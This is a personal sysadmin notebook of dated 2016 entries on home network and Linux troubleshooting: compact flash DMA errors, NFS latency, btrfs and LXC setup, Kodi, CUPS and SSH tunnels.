EXT3-fs (sda2): using internal journal EXT3-fs (sda2): recovery complete EXT3-fs (sda2): mounted filesystem with journal data mode VFS: Mounted root (unionfs filesystem) on device 0:11. Freeing unused kernel memory: 288K (ffffffffc0648000 - ffffffffc0690000) Algorithmics/MIPS FPU Emulator v1.5 INIT: version 2.88 booting INIT: Entering runlevel: 2 [....] Starting routing daemon: rib nsm ribd[?25l[?1c7[ ok 8[?25h[?0c. [....] Starting EdgeOS router: migrate rl-system configure[?25l7[ ok 8[?25h. Welcome to EdgeOS ubnt ttyS0 By logging in, accessing, or using the Ubiquiti product, you acknowledge that you have read and understood the Ubiquiti License Agreement (available in the Web UI at, by default, http://192.168.1.1) and agree to be bound by its terms. ubnt login: Entry: stay out of my chroot Date: Thu Mar 31 09:43:27 EDT 2016 Dah.. interactions... root@zoe:/vol/1/qemu/test# lsof /vol/1/qemu/test/mnt/proc/ ... irqbalanc 30432 root 4r REG 0,3 0 21192 /vol/1/qemu/test/mnt/proc/sys/kernel/cap_last_cap ... root@zoe:/vol/1/qemu/test# umount /vol/1/qemu/test/mnt/proc umount: /vol/1/qemu/test/mnt/proc: target is busy (In some cases useful info about processes that use the device is found by lsof(8) or fuser(1).) root@zoe:/vol/1/qemu/test# kill 30432 root@zoe:/vol/1/qemu/test# umount /vol/1/qemu/test/mnt/proc Why is that process getting started inside the chroot? Is there a way to kill everything that depends on the chroot before unmounting. Entry: changing mysql root password Date: Fri Apr 1 11:53:50 EDT 2016 on 5.5.47 mysqld_safe --skip-grant-tables --skip-networking SET PASSWORD FOR 'root'@'localhost' = PASSWORD('MyNewPass'); First method in [1] didn't work. [1] http://dev.mysql.com/doc/refman/5.7/en/resetting-permissions.html Entry: edgerouter debian Date: Sat Apr 2 00:17:28 EDT 2016 http://dev.debwrt.net/wiki/EdgeRouterLite http://downloads.debwrt.net/firmware/snapshots/other/trunk/mips/octeon/generic/latest/ EDIT: tried debwrt but it has a broken iptables. maybe best to switch to ubnt firmware? or at least use its kernel... Entry: splitting pool files? Date: Sun Apr 3 15:54:01 EDT 2016 Getting too many conflicts that are easy to avoid when posts are in separate files. This needs emacs support. Entry: pulseaudio without consolekit Date: Fri Apr 8 19:51:43 EDT 2016 #.ifexists module-console-kit.so #load-module module-console-kit #.endif Entry: compact flash problems Date: Sun Apr 17 09:28:46 EDT 2016 https://forum.pfsense.org/index.php?topic=41312.0 [ 1.615476] SCSI subsystem initialized [ 1.662664] libata version 3.00 loaded. [ 1.664392] pata_amd 0000:00:14.2: version 0.4.1 [ 1.686896] scsi0 : pata_amd [ 1.697147] scsi1 : pata_amd [ 1.697707] ata1: PATA max UDMA/100 cmd 0x1f0 ctl 0x3f6 bmdma 0xe000 irq 14 [ 1.697725] ata2: PATA max UDMA/100 cmd 0x170 ctl 0x376 bmdma 0xe008 irq 15 [ 1.782446] Switched to clocksource tsc [ 1.880421] ata1.01: CFA: SanDisk SDCFHSNJC-008G, HDX 7.08, max UDMA/100 [ 1.880441] ata1.01: 15625216 sectors, multi 0: LBA48 [ 1.880473] ata1.01: limited to UDMA/33 due to 40-wire cable [ 1.896323] ata1.01: configured for UDMA/33 [ 1.896836] scsi 0:0:1:0: Direct-Access ATA SanDisk SDCFHSNJ 7.08 PQ: 0 ANSI: 5 [ 1.899245] ata2: port disabled--ignoring [ 1.938808] sd 0:0:1:0: [sda] 15625216 512-byte logical blocks: (8.00 GB/7.45 GiB) [ 1.939099] sd 0:0:1:0: [sda] Write Protect is off [ 1.939122] sd 0:0:1:0: [sda] Mode Sense: 00 3a 00 00 [ 1.939252] sd 0:0:1:0: [sda] Write cache: enabled, read cache: enabled, doesn't support DPO or FUA [ 1.943327] sda: sda1 [ 1.945489] sd 0:0:1:0: [sda] Attached SCSI removable disk [ 2.454665] EXT4-fs (sda1): mounting ext3 file system using the ext4 subsystem [ 2.476592] EXT4-fs (sda1): mounted filesystem with ordered data mode. Opts: (null) [188718.056166] ata1.01: exception Emask 0x0 SAct 0x0 SErr 0x0 action 0x6 frozen [188718.098979] ata1.01: failed command: WRITE DMA [188718.126942] ata1.01: cmd ca/00:38:b2:15:74/00:00:00:00:00/f0 tag 0 dma 28672 out res 40/00:01:00:00:00/00:00:00:00:00/50 Emask 0x4 (timeout) [188718.217451] ata1.01: status: { DRDY } [188723.280082] ata1: link is slow to respond, please be patient (ready=0) [188728.264085] ata1: device not ready (errno=-16), forcing hardreset [188728.264118] ata1: soft resetting link [188728.470907] ata1.01: failed to IDENTIFY (I/O error, err_mask=0x3) [188728.470933] ata1.01: revalidation failed (errno=-5) [188733.428398] ata1: soft resetting link [188733.631079] ata1.01: failed to IDENTIFY (I/O error, err_mask=0x3) [188733.631104] ata1.01: revalidation failed (errno=-5) [188738.592381] ata1: soft resetting link [188738.798749] ata1.01: failed to IDENTIFY (I/O error, err_mask=0x3) [188738.798775] ata1.01: revalidation failed (errno=-5) [188738.828572] ata1.01: disabled [188738.828611] ata1.01: device reported invalid CHS sector 0 [188738.828949] ata1: soft resetting link [188738.995690] ata1: EH complete [188738.996208] sd 0:0:1:0: [sda] Unhandled error code [188738.996228] sd 0:0:1:0: [sda] [ 1.884421] ata1.01: CFA: SanDisk SDCFX-008G, HDX 7.05, max UDMA/100 [ 1.884441] ata1.01: 15625216 sectors, multi 0: LBA48 [ 1.884474] ata1.01: limited to UDMA/33 due to 40-wire cable [ 1.900323] ata1.01: configured for UDMA/33 [188738.996242] Result: hostbyte=DID_BAD_TARGET driverbyte=DRIVER_OK [188738.996259] sd 0:0:1:0: [sda] CDB: [188738.996270] Write(10): 2a 00 00 74 15 b2 00 00 38 00 [188738.996317] end_request: I/O error, dev sda, sector 7607730 [188739.032096] Aborting journal on device sda1-8. [188739.062050] sd 0:0:1:0: [sda] Unhandled error code [188739.062080] sd 0:0:1:0: [sda] [188739.062095] Result: hostbyte=DID_BAD_TARGET driverbyte=DRIVER_OK [188739.062113] sd 0:0:1:0: [sda] CDB: [188739.062123] Write(10): 2a 00 00 00 01 ba 00 00 08 00 [188739.062169] end_request: I/O error, dev sda, sector 442 [188739.094042] Buffer I/O error on device sda1, logical block 0 [188739.128454] lost page write due to I/O error on sda1 [188739.133064] sd 0:0:1:0: [sda] Unhandled error code [188739.133088] sd 0:0:1:0: [sda] [188739.133103] Result: hostbyte=DID_BAD_TARGET driverbyte=DRIVER_OK [188739.133120] sd 0:0:1:0: [sda] CDB: [188739.133131] Write(10): 2a 00 00 70 11 b2 00 00 08 00 [188739.133176] end_request: I/O error, dev sda, sector 7344562 [188739.167120] Buffer I/O error on device sda1, logical block 918015 [188739.204163] lost page write due to I/O error on sda1 [188739.204232] JBD2: Error -5 detected when updating journal superblock for sda1-8. [188739.254370] EXT4-fs (sda1): previous I/O error to superblock detected [188739.297239] sd 0:0:1:0: [sda] Unhandled error code [188739.297265] sd 0:0:1:0: [sda] [188739.297280] Result: hostbyte=DID_BAD_TARGET driverbyte=DRIVER_OK [188739.297297] sd 0:0:1:0: [sda] CDB: [188739.297308] Write(10): 2a 00 00 00 82 62 00 00 08 00 [188739.297354] end_request: I/O error, dev sda, sector 33378 [188739.330292] EXT4-fs warning (device sda1): ext4_end_bio:317: I/O error -5 writing to inode 457055 (offset 0 size 0 starting block 4173) [188739.330313] Buffer I/O error on device sda1, logical block 4117 [188739.369109] sd 0:0:1:0: [sda] Unhandled error code [188739.369136] sd 0:0:1:0: [sda] [188739.369150] Result: hostbyte=DID_BAD_TARGET driverbyte=DRIVER_OK [188739.369168] sd 0:0:1:0: [sda] CDB: [188739.369179] Write(10): 2a 00 00 0c 28 5a 00 00 10 00 [188739.369224] end_request: I/O error, dev sda, sector 796762 [188739.402641] EXT4-fs warning (device sda1): ext4_end_bio:317: I/O error -5 writing to inode 456360 (offset 0 size 0 starting block 99596) [188739.402660] Buffer I/O error on device sda1, logical block 99540 [188739.439180] EXT4-fs warning (device sda1): ext4_end_bio:317: I/O error -5 writing to inode 456360 (offset 0 size 0 starting block 99597) [188739.439198] Buffer I/O error on device sda1, logical block 99541 [188739.475784] JBD2: Detected IO errors while flushing file data on sda1-8 [188739.477471] sd 0:0:1:0: [sda] Unhandled error code [188739.477495] sd 0:0:1:0: [sda] [188739.477508] Result: hostbyte=DID_BAD_TARGET driverbyte=DRIVER_OK [188739.477525] sd 0:0:1:0: [sda] CDB: [188739.477536] Write(10): 2a 00 00 00 01 ba 00 00 08 00 [188739.477580] end_request: I/O error, dev sda, sector 442 [188739.509421] Buffer I/O error on device sda1, logical block 0 [188739.543861] lost page write due to I/O error on sda1 [188739.543943] EXT4-fs error (device sda1): ext4_journal_check_start:56: Detected aborted journal [188739.597516] EXT4-fs (sda1): Remounting filesystem read-only [188739.631470] EXT4-fs (sda1): previous I/O error to superblock detected [188739.671410] EXT4-fs error (device sda1): ext4_journal_check_start:56: Detected aborted journal [188739.725857] sd 0:0:1:0: [sda] Unhandled error code [188739.725879] sd 0:0:1:0: [sda] [188739.725893] Result: hostbyte=DID_BAD_TARGET driverbyte=DRIVER_OK [188739.725911] sd 0:0:1:0: [sda] CDB: [188739.725921] Write(10): 2a 00 00 00 01 ba 00 00 08 00 [188739.725965] end_request: I/O error, dev sda, sector 442 [188739.757854] Buffer I/O error on device sda1, logical block 0 [188739.792270] lost page write due to I/O error on sda1 [275289.056065] EXT4-fs (sda1): error count since last fsck: 3 [275289.056091] EXT4-fs (sda1): initial error at time 1460148606: ext4_journal_check_start:56 [275289.056110] EXT4-fs (sda1): last error at time 1460148607: ext4_journal_check_start:56 [361796.576099] EXT4-fs (sda1): error count since last fsck: 3 [361796.576126] EXT4-fs (sda1): initial error at time 1460148606: ext4_journal_check_start:56 [361796.576145] EXT4-fs (sda1): last error at time 1460148607: ext4_journal_check_start:56 [448304.096065] EXT4-fs (sda1): error count since last fsck: 3 [448304.096092] EXT4-fs (sda1): initial error at time 1460148606: ext4_journal_check_start:56 [448304.096110] EXT4-fs (sda1): last error at time 1460148607: ext4_journal_check_start:56 [534811.616066] EXT4-fs (sda1): error count since last fsck: 3 [534811.616094] EXT4-fs (sda1): initial error at time 1460148606: ext4_journal_check_start:56 [534811.616112] EXT4-fs (sda1): last error at time 1460148607: ext4_journal_check_start:56 [621319.136066] EXT4-fs (sda1): error count since last fsck: 3 [621319.136093] EXT4-fs (sda1): initial error at time 1460148606: ext4_journal_check_start:56 [621319.136112] EXT4-fs (sda1): last error at time 1460148607: ext4_journal_check_start:56 [707826.656068] EXT4-fs (sda1): error count since last fsck: 3 [707826.656095] EXT4-fs (sda1): initial error at time 1460148606: ext4_journal_check_start:56 [707826.656114] EXT4-fs (sda1): last error at time 1460148607: ext4_journal_check_start:56 [794334.176066] EXT4-fs (sda1): error count since last fsck: 3 [794334.176093] EXT4-fs (sda1): initial error at time 1460148606: ext4_journal_check_start:56 [794334.176112] EXT4-fs (sda1): last error at time 1460148607: ext4_journal_check_start:56 [880841.696073] EXT4-fs (sda1): error count since last fsck: 3 [880841.696100] EXT4-fs (sda1): initial error at time 1460148606: ext4_journal_check_start:56 [880841.696119] EXT4-fs (sda1): last error at time 1460148607: ext4_journal_check_start:56 https://xenomai.org/pipermail/xenomai/2012-September/026052.html WIW, I have a soekris 4801 (with a Geode sc1100) that gets the same errs. IIUC, its a board problem with CF, but it could have a deeper (more common) cause. Ive added libata.dma=3 to my boot options in grub menu.lst, which fixes it reliably. older kernels might want all_generic_ide or libata.nodma=0.0 ( for sda1 ) Could be acpi as well? http://article.gmane.org/gmane.comp.hardware.soekris.technical/17671/ CHANGELOG: - added "libata.dma=3" kernel parameter. this made it switch UDMA/33 -> PIO4. dmesg: [ 1.608525] SCSI subsystem initialized [ 1.665561] libata version 3.00 loaded. [ 1.667367] pata_amd 0000:00:14.2: version 0.4.1 [ 1.691786] scsi0 : pata_amd [ 1.699068] scsi1 : pata_amd [ 1.699628] ata1: PATA max UDMA/100 cmd 0x1f0 ctl 0x3f6 bmdma 0xe000 irq 14 [ 1.699646] ata2: PATA max UDMA/100 cmd 0x170 ctl 0x376 bmdma 0xe008 irq 15 [ 1.786292] Switched to clocksource tsc [ 1.880420] ata1.01: CFA: SanDisk SDCFHSNJC-008G, HDX 7.08, max UDMA/100 [ 1.880440] ata1.01: 15625216 sectors, multi 0: LBA48 [ 1.880473] ata1.01: limited to UDMA/33 due to 40-wire cable [ 1.896323] ata1.01: configured for PIO4 [ 1.896838] scsi 0:0:1:0: Direct-Access ATA SanDisk SDCFHSNJ 7.08 PQ: 0 ANSI: 5 [ 1.899253] ata2: port disabled--ignoring [ 1.936261] sd 0:0:1:0: [sda] 15625216 512-byte logical blocks: (8.00 GB/7.45 GiB) [ 1.936558] sd 0:0:1:0: [sda] Write Protect is off [ 1.936581] sd 0:0:1:0: [sda] Mode Sense: 00 3a 00 00 [ 1.936710] sd 0:0:1:0: [sda] Write cache: enabled, read cache: enabled, doesn't support DPO or FUA [ 1.940709] sda: sda1 [ 1.945148] sd 0:0:1:0: [sda] Attached SCSI removable disk [ 2.980613] EXT4-fs (sda1): mounting ext3 file system using the ext4 subsystem [ 3.084537] random: nonblocking pool is initialized [ 3.134928] EXT4-fs (sda1): mounted filesystem with ordered data mode. Opts: (null) EDIT Apr 24: still trouble. Couldn't login on either ssh or serial console (respawning too fast). Nothing in the logs. Likely disk problem again. Ordered Extreme 8GB to replace the Ultra 8GB. EDIT Apr 27: replacement arrived. same size, so making DD. root@soekris:~# dmesg |grep '8.00 GB' [ 1.939074] sd 0:0:1:0: [sda] 15625216 512-byte logical blocks: (8.00 GB/7.45 GiB) [246918.870464] sd 4:0:0:0: [sdb] 15625216 512-byte logical blocks: (8.00 GB/7.45 GiB) botting: [ 1.884421] ata1.01: CFA: SanDisk SDCFX-008G, HDX 7.05, max UDMA/100 [ 1.884441] ata1.01: 15625216 sectors, multi 0: LBA48 [ 1.884474] ata1.01: limited to UDMA/33 due to 40-wire cable [ 1.900323] ata1.01: configured for UDMA/33 Entry: flashplayer nonfree Date: Sun Apr 17 11:19:07 EDT 2016 apt-get install flashplugin-nonfree update-flashplugin-nonfree --install Entry: remote audio Date: Sun Apr 24 00:33:18 EDT 2016 Audio over wifi is such a pain. Wired/udp works fine, but wireless does not. To use TCP, a streaming server is necessary (likely the best solution). I'm done with messing with this shit. However, it might be simpler to just use bluetooth. Compatible with phones as well. https://wiki.debian.org/BluetoothUser/a2dp EDIT: haha! what a mess. i'm not even going to put any links here. just say that i tried for a couple of hours but couldn't get it to go. too complex to debug. Will likely try RTP over powerline next. Doesn't have the same latency issues as wireless so should be fine. Then use wireless for bulk transfer upstairs. Entry: I hate CUPS, part 123 Date: Tue May 3 18:11:58 EDT 2016 D [03/May/2016:18:10:43 -0400] [Job 3] sh: hpijs: command not found D [03/May/2016:18:10:43 -0400] [Job 3] GPL Ghostscript 9.06: Can\'t start ijs server \"hpijs\" D [03/May/2016:18:10:43 -0400] [Job 3] renderer exited with status 1 D [03/May/2016:18:10:43 -0400] [Job 3] Possible error on renderer command line or PostScript error. Check options.Kid3 exit status: 3 D [03/May/2016:18:10:43 -0400] [Job 3] PID 12541 (/usr/lib/cups/filter/foomatic-rip) stopped with status 9. D [03/May/2016:18:10:43 -0400] [Job 3] Hint: Try setting the LogLevel to "debug" to find out more. apt-get install printer-driver-hpijs Entry: airplay Date: Tue May 3 20:26:07 EDT 2016 Regarding the remote audio thing, maybe airplay is what I'm looking for. Any RTP solution requires wired network, which won't work for now. So airplay really isn't the option either. Just give this shit up, or write something from scratch that does buffering and control flow right. Entry: dmarc Date: Tue May 3 22:13:06 EDT 2016 http://www.gettingemaildelivered.com/how-to-set-up-dmarc-email-authentication https://dmarcian.com/dmarc-inspector/google.com Entry: preparing for central management Date: Wed May 4 15:28:48 EDT 2016 Almost ready with debianification. Eliminated OpenWRT router. Using just hostapd on x86 host now. Still two ubuntu boxes, but would like to eliminate those as well, or at least make them very special purpose. How to get a list of installed packages that are not just dependencies? Some other problems: - working on multiple PCs with the current .txt file layout creates too many unnecessary merge conflicts due to lack of structural info. (each post behaves as a single file + posts are sorted by date). there is a way around it which is to put it in separate files. however that would be very cumbersome as it requires an 'add' for each file, and referencing also is more of a drag. what to do here? how to add merge strategies? http://stackoverflow.com/questions/366860/when-would-you-use-the-different-git-merge-strategies Entry: kodi youtube plugin credentials Date: Sun May 15 18:01:10 EDT 2016 https://www.reddit.com/r/kodi/comments/465u28/anyone_else_have_issues_with_the_youtube_addon/ Entry: restart PCI device Date: Thu May 26 18:47:35 EDT 2016 remove and rescan will allow the kernel to cycler-power the PCI device without reboot: echo "1" > /sys/bus/pci/devices/DDDD\:BB\:DD.F//remove sleep 1 echo "1" > /sys/bus/pci/rescan Above worked just now to reset after it drops out. Card dropped out after picking up laptop at either corner. Board flex? Entry: edimax wpa does not work on comcast router Date: Fri Jun 3 14:45:24 EDT 2016 very very strange. other networks ok, other card ok. Entry: Get data from time machine backup Date: Sat Jun 4 17:03:02 EDT 2016 I tried to copy, but get zero size files where I expect there to be a directory. Then I find: https://gist.github.com/vjt/5183305 # Time machine implements directory hard links by creating an # empty file in place of the directory and storing in its # "number of hard links" metadata attribute a pointer to a # real directory in "/.HFS Private directory data^M" named # "dir_$number". root@zoo:/vol/1/backup/mey_tm_data# ~tom/bin/copy-from-time-machine.sh ../mnt/Backups.backupdb/Macbook\ Air/Latest/Macintosh\ HD/Users/melissadeyhasbrook . Entry: image to pdf Date: Mon Jun 20 10:25:43 EDT 2016 Scanning 12 pages from rgb png produces 65Mbyte using mogrify + pdfunite How to make an acceptable pdf from png files? This: http://unix.stackexchange.com/questions/42856/how-can-i-convert-a-png-to-a-pdf-in-high-quality-so-its-not-blurry-or-fuzzy Says to use img2pdf https://gitlab.mister-muffin.de/josch/img2pdf If one wants to losslessly convert from any format to PDF with imagemagick, one has to use zip compression: $ convert input.jpg -compress Zip output.pdf $ pdfimages img.pdf img.extr # not using -j to be extra sure there is no recompression $ compare -metric AE img.jpg img.extr-000.ppm null: 0 Entry: kodi youtube plugin broken Date: Sat Jun 25 14:38:41 EDT 2016 rollback 5.2.1 -> 5.1.17 fixes playback, but search is broken Entry: dhcp 4addr (wds) Date: Sun Jun 26 22:37:37 EDT 2016 iw dev wlan0 set 4addr on makes dhcp fail (ap blocks packets after assoc?) http://askubuntu.com/questions/155041/bridging-loosing-wlan-network-connection-with-4addr-on-option-why Entry: kodi port 9090 missing Date: Fri Jul 8 15:57:06 EDT 2016 See bottom. (assumptions not correct) tcp6 9090 is still open but that is likely a bug: not closed on error. log has error: ERROR: JSONRPC Server: Failed to connect to sdpd which is after a call to sdp_connect https://github.com/xbmc/xbmc/search?utf8=%E2%9C%93&q=sdp_connect SDP is Service Discovery Protocol. Defined in bluetooth/sdp.h Obscure crap.. Going to upgrade entire host to testing. Actually this is not the problem. 9090 works fine on pi and has the same error message. Something else is going on: why doesn't it create a socket? WORKAROUND: The ipv6 port works just fine. add this to /etc/rinetd.conf: # Workaround for kodi not starting jsonrpc on 9090 0.0.0.0 9090 ip6-localhost 9090 Entry: use vlc instead? Date: Fri Jul 8 16:30:35 EDT 2016 vlc --fullscreen http://youtube.com/watch?v=GQe3JxJHpxQ Entry: youtube kodi Date: Sun Jul 10 18:53:15 EDT 2016 http://www.johnlarge.co.uk/2016/02/23/kodi-youtube-plugin-broken-fix/ https://github.com/rasberryrabbit/plugin.video.youtube/archive/master.zip Entry: nfs soft Date: Fri Jul 29 13:57:12 EDT 2016 You are probably getting freezes because you are exporting NFS shares with the "hard" option (which is the default). You can change that by using explicitly the "soft" option. ... As for a convenient way to implement file sharing, among Linux boxes, NFS is the way. http://superuser.com/questions/515080/alternative-to-nfs-or-better-configuration-instable-network-simple-to-set-up soft config is in /etc/auto.net Entry: firefox proxy Date: Thu Aug 4 16:04:40 EDT 2016 acbout:config network.proxy.socks_remote_dns = true Entry: p2p openvpn Date: Mon Aug 8 18:31:59 EDT 2016 e.g. 3 nodes: A B C A<->B,C B<->C requires N-1 instances, each subsequence instance serving only the remainer of the nodes. Entry: nfs stat Date: Tue Aug 9 16:42:15 EDT 2016 NFS is very slow through soekris vpn and eop device. Looking at the dump, this is mostly a latency problem: 6-8ms round-trip on getattr (from ls) (time between calls is 1/100 of that) Corresponds to ping times. Ping also sees larger delays. ( I'm typing this on a TCP connection and can clearly see there are dropouts as well. ) Ping time without VPN is 4.5ms and seemingly more stable. Ping on LAN is 0.2-0.6, more than an order of magnitude less latency. Ping on Wifi is very variable. 6-20 ms. But over VPN it is again smaller? Nope just variable 4 ms wifi, 6ms wifi+vpn. Troughput is horrible. Chokes after 1GB. Mabye because of async? HA! I know what the problem is. My prompt is accessing the current git directory to display the branch name. That is causing a lot of access. Too many interactions! Entry: SMART stats that matter Date: Tue Aug 9 17:25:05 EDT 2016 Backblaze's analysis of nearly 40,000 drives showed five SMART metrics that correlate strongly with impending disk drive failure: SMART 5 - Reallocated_Sector_Count. SMART 187 - Reported_Uncorrectable_Errors. SMART 188 - Command_Timeout. SMART 197 - Current_Pending_Sector_Count. SMART 198 - Offline_Uncorrectable http://www.computerworld.com/article/2846009/the-5-smart-stats-that-actually-predict-hard-drive-failure.html Entry: move towards debian nfsroot for all devices except workstations Date: Fri Aug 12 19:54:57 EDT 2016 3 configurations: - debian (PC, beaglebone, pi) - openwrt (kernels for routers) - buildroot (everything else) Start with raspberry pi? It would be more interesting to be able to "exec" into an nfsroot. E.g. get everything set up, including wireless, openvpn, etc..., then change to a new root entirely. The question is maybe more: how does initrd work? To backtrack: the main goal is to: - make sure everything runs the same software - make updates easier Entry: debpartmirror Date: Fri Aug 12 20:11:11 EDT 2016 A more pressing problem is to ensure all boxes run the same software. But what I really want is an easy way to replicate. Plenty of storage space, but not a lot of time to sync it all. http://willem.engen.nl/debpartmirror/ Entry: arm boxes (pi,bb) lxc + nfsroot Date: Fri Aug 12 20:24:54 EDT 2016 What about this: keep a minimalistic root fs for all, then run the application as an lxc from shared storage using overlayfs for configuration files. This could be done for exo first. Entry: More ideas about distributed setup Date: Fri Aug 12 20:38:44 EDT 2016 - run disk-intensive jobs near the storage - try to do this automatically - start using lxc for dev setup? Entry: NFS caching Date: Fri Aug 12 22:15:27 EDT 2016 https://access.redhat.com/documentation/en-US/Red_Hat_Enterprise_Linux/6/html/Storage_Administration_Guide/fscachenfs.html Entry: commuting diagrams and remote/local execution Date: Sat Aug 13 01:43:05 EDT 2016 Really makes me think of commuting diagrams in category theory: Two morphisms: - local vs. remote execution - local vs. remote access Functionally it's equivalent to execute locally with files on a remote host, or to execute remotely with files on that local host. Speed however is significantly different. This then raises the question again about where to run the editor. Saving over NFS isn't such a big deal. Entry: zfs Date: Sat Aug 13 23:17:20 EDT 2016 https://github.com/ewwhite/zfs-ha/wiki Entry: ktpacpid and lid close suspend Date: Sun Aug 14 17:22:18 EDT 2016 http://forum.siduction.org/index.php?topic=4715.0 I'm trying to figure out which part of the system is controlling power management. Specifically, what triggers suspend when the laptop lid is closed. At first I thought this was done by acpid. However, I've shutdown acpid and acpi-support, and closing the lid still suspends. There's a strange process called ktpacpid, which I don't seem to be able to kill or shutdown. Same question, no answer.. I guess I kill things until it stops suspending. It is systemd-shim Also systemd-logind is there. Why is there anything systemd related still there? Ok the "systemd" package got installed again during an update. Entry: running your own mail server Date: Sun Aug 14 18:41:47 EDT 2016 https://news.ycombinator.com/item?id=12282231 http://multirbl.valli.org/lookup/5.39.77.149.html Entry: ubuntu thinkpad power Date: Sun Aug 14 19:53:33 EDT 2016 just switches off. can it be that "time remaining" is not supported? it's not in: tom@tpu:~$ cat /proc/acpi/battery/BAT0/state present: yes capacity state: ok charging state: charging present rate: 2861 mA remaining capacity: 1542 mAh present voltage: 11338 mV http://askubuntu.com/questions/167062/netbook-performs-hard-shutdown-without-warning-on-low-battery-power gsettings set org.gnome.settings-daemon.plugins.power use-time-for-policy false Entry: asterisk lua dialplan configuration Date: Mon Aug 15 10:54:42 EDT 2016 https://wiki.asterisk.org/wiki/display/AST/Lua+Dialplan+Configuration Entry: safe way to provide ssh tunnel hook Date: Sat Aug 20 14:18:49 EDT 2016 E.g. on client: dbclient -N -R 19999:localhost:22 tunnel@access-server How to properly lock down the access-server account such that the only effect is the creation of the reverse tunnel, but other things are not accessible? ANWSER HERE: http://askubuntu.com/a/50000 http://askubuntu.com/questions/48129/how-to-create-a-restricted-ssh-user-for-port-forwarding Entry: SSH tunnel device forwarding Date: Sat Aug 20 14:49:05 EDT 2016 Didn't know about that. Maybe interesting. Entry: openvpn redirect-gateway Date: Sat Aug 20 16:40:43 EDT 2016 Just learned about the redirect-gateway option. Entry: mirror setup Date: Wed Aug 24 12:33:57 EDT 2016 So next step towards reproducible installs. I have one laptop to install. I'd like it to contain a copy of another workstation. Let's start with manually installed packages, then dervie an update strategy from that, e.g. assume that dependency resolution can be trusted. Entry: btrfs Date: Sat Sep 10 09:53:16 EDT 2016 https://btrfs.wiki.kernel.org/index.php/Conversion_from_Ext3 Entry: lxc revisit Date: Sat Sep 10 15:51:20 EDT 2016 https://wiki.debian.org/LXC https://wiki.debian.org/LXC/SimpleBridge lxc-create -n sandisk8 -t debian -- -r stretch lxc.network.type = veth lxc.network.flags = up lxc.network.link = br0 lxc.network.hwaddr = 00:FF:AA:00:00:01 Can't get wifi addr4 mode to work (needed for bridging). Use lxc-net? Entry: vpn bridge Date: Sun Sep 11 12:04:32 EDT 2016 Can't bridge to wifi, but what about placing all vpn interfaces on a bridge? Combine a couple of things: - In IoT age, do not trust local network - Separate OpenVPN layer with trusted hosts - A VM (LXC container) physically is a disk - Plug in disk anywhere and have host run it as LXC - Needs authentication for "autorun" + standard interface to plug to network - Maybe simpler to use masquerading + VPN connection inside Entry: raid1, 3 partitions on a faulty disk Date: Mon Sep 12 01:19:17 EDT 2016 just for goofs.. 192Gib x 3 root@zoe:/vol/1# btrfs filesystem show Label: none uuid: cefea368-4a9d-4eae-b929-1a61140041d0 Total devices 1 FS bytes used 12.44GiB devid 1 size 931.51GiB used 16.02GiB path /dev/sdh1 Label: none uuid: 5b44cc8b-6831-49b5-bd2c-07e4ab901e5c Total devices 3 FS bytes used 11.58GiB devid 1 size 192.00GiB used 15.02GiB path /dev/sdb2 devid 2 size 192.00GiB used 0.00B path /dev/sdb3 devid 3 size 192.00GiB used 0.00B path /dev/sdb4 root@zoe:/vol/1# btrfs balance start -dconvert=raid1 -mconvert=raid1 /vol/1 Done, had to relocate 16 out of 16 chunks root@zoe:/vol/1# btrfs filesystem show Label: none uuid: cefea368-4a9d-4eae-b929-1a61140041d0 Total devices 1 FS bytes used 12.44GiB devid 1 size 931.51GiB used 16.02GiB path /dev/sdh1 Label: none uuid: 5b44cc8b-6831-49b5-bd2c-07e4ab901e5c Total devices 3 FS bytes used 11.58GiB devid 1 size 192.00GiB used 7.03GiB path /dev/sdb2 devid 2 size 192.00GiB used 11.03GiB path /dev/sdb3 devid 3 size 192.00GiB used 12.00GiB path /dev/sdb4 Entry: GPGPU development Date: Mon Sep 12 19:32:25 EDT 2016 https://wiki.archlinux.org/index.php/GPGPU Entry: Cloning Date: Tue Sep 13 11:23:54 EDT 2016 Things that need to be different: - /etc/hostname - /etc/hosts 127.0.1.1 - ssh keys /bin/rm -v /etc/ssh/ssh_host_* dpkg-reconfigure openssh-server To make this work using btrfs, use a subvolume for all the per-device stuff: - some bits in /etc - all the darcs&git-managed shared trees - /home Basic idea is to have the "debian" part be clonable, but all the rest be custom per host. Entry: openvpn inside lxc Date: Tue Sep 13 11:34:49 EDT 2016 https://wiki.archlinux.org/index.php/OpenVPN_in_Linux_containers Entry: convert rootfs btrfs Date: Tue Sep 13 12:51:17 EDT 2016 https://www.howtoforge.com/how-to-convert-an-ext3-ext4-root-file-system-to-btrfs-on-ubuntu-12.10 Entry: qemu raw partitions Date: Tue Sep 13 17:55:08 EDT 2016 After switch to lxc and the convenience of btrfs, it seems there is little use left for kvm apart for security. I'm actually quite happy about not having to work with image files any more.. Running kvm on a btrfs subvolume doesn't seem possible. It is possible though to run without a bootloader: Have qemu load kernel + initrd, and specify partition: QEMU supports loading Linux kernels and init ramdisks directly, thereby circumventing bootloaders such as GRUB. It then can be launched with the physical partition containing the root file system as the virtual disk, which will not appear to be partitioned. This is done by issuing a command similar to the following: qemu-system-i386 -kernel /boot/vmlinuz-linux -initrd /boot/initramfs-linux.img -append root=/dev/sda /dev/sda3 https://wiki.archlinux.org/index.php/QEMU#Using_any_real_partition_as_the_single_primary_partition_of_a_hard_disk_image Entry: Bootable backups Date: Tue Sep 13 18:20:58 EDT 2016 What is needed to restore a backup that is stored as a tree only? Does it only require something this? grub-install --boot-directory=/vol/sdb1/boot /dev/sdb Entry: rescue disk Date: Wed Sep 14 11:19:56 EDT 2016 It's been far too long that grub2 has eluded me. Why? No idea. Because I find it counterintuitive that there is no "context-free" way of installing a boot loader. What I want is a USB stick with a debian distro on it, something I can boot but that can also run as an lxc to update software. Starting from a plain lxc container: - install grub + linux apt-get install grub2 linux-image-4.6.0 - set root passowrd - config /etc/fstab - config network? The big question really is: what is the difference between a normal debian boot, and an lxc boot? Entry: change root fs to btrfs Date: Wed Sep 14 16:00:00 EDT 2016 Mount disk somehow (rescue disk, USB adapter). fsck -f /dev/sdx1 btrfs-convert /dev/sdx1 # DO NOT DO THIS (1) mount /dev/sdx1 /mnt ; cd mnt for fs in proc sys dev dev/pts; do mount --bind /$fs $fs; done chroot . change /etc/fstab to point to new uuid update-grub grub-install /dev/sdx for fs in dev/pts dev sys proc; do umount $fs; done (1) EDIT: not reliable. tried on two laptops, both gave errors that lead to remount-ro. use backup & mkfs.btrfs & restore. Entry: External storage as VMs Date: Thu Sep 15 02:00:36 EDT 2016 Not sure where I'm going with this, but I like the idea of looking at a disk as thing that accepts messages. Maybe a vm is overkill. 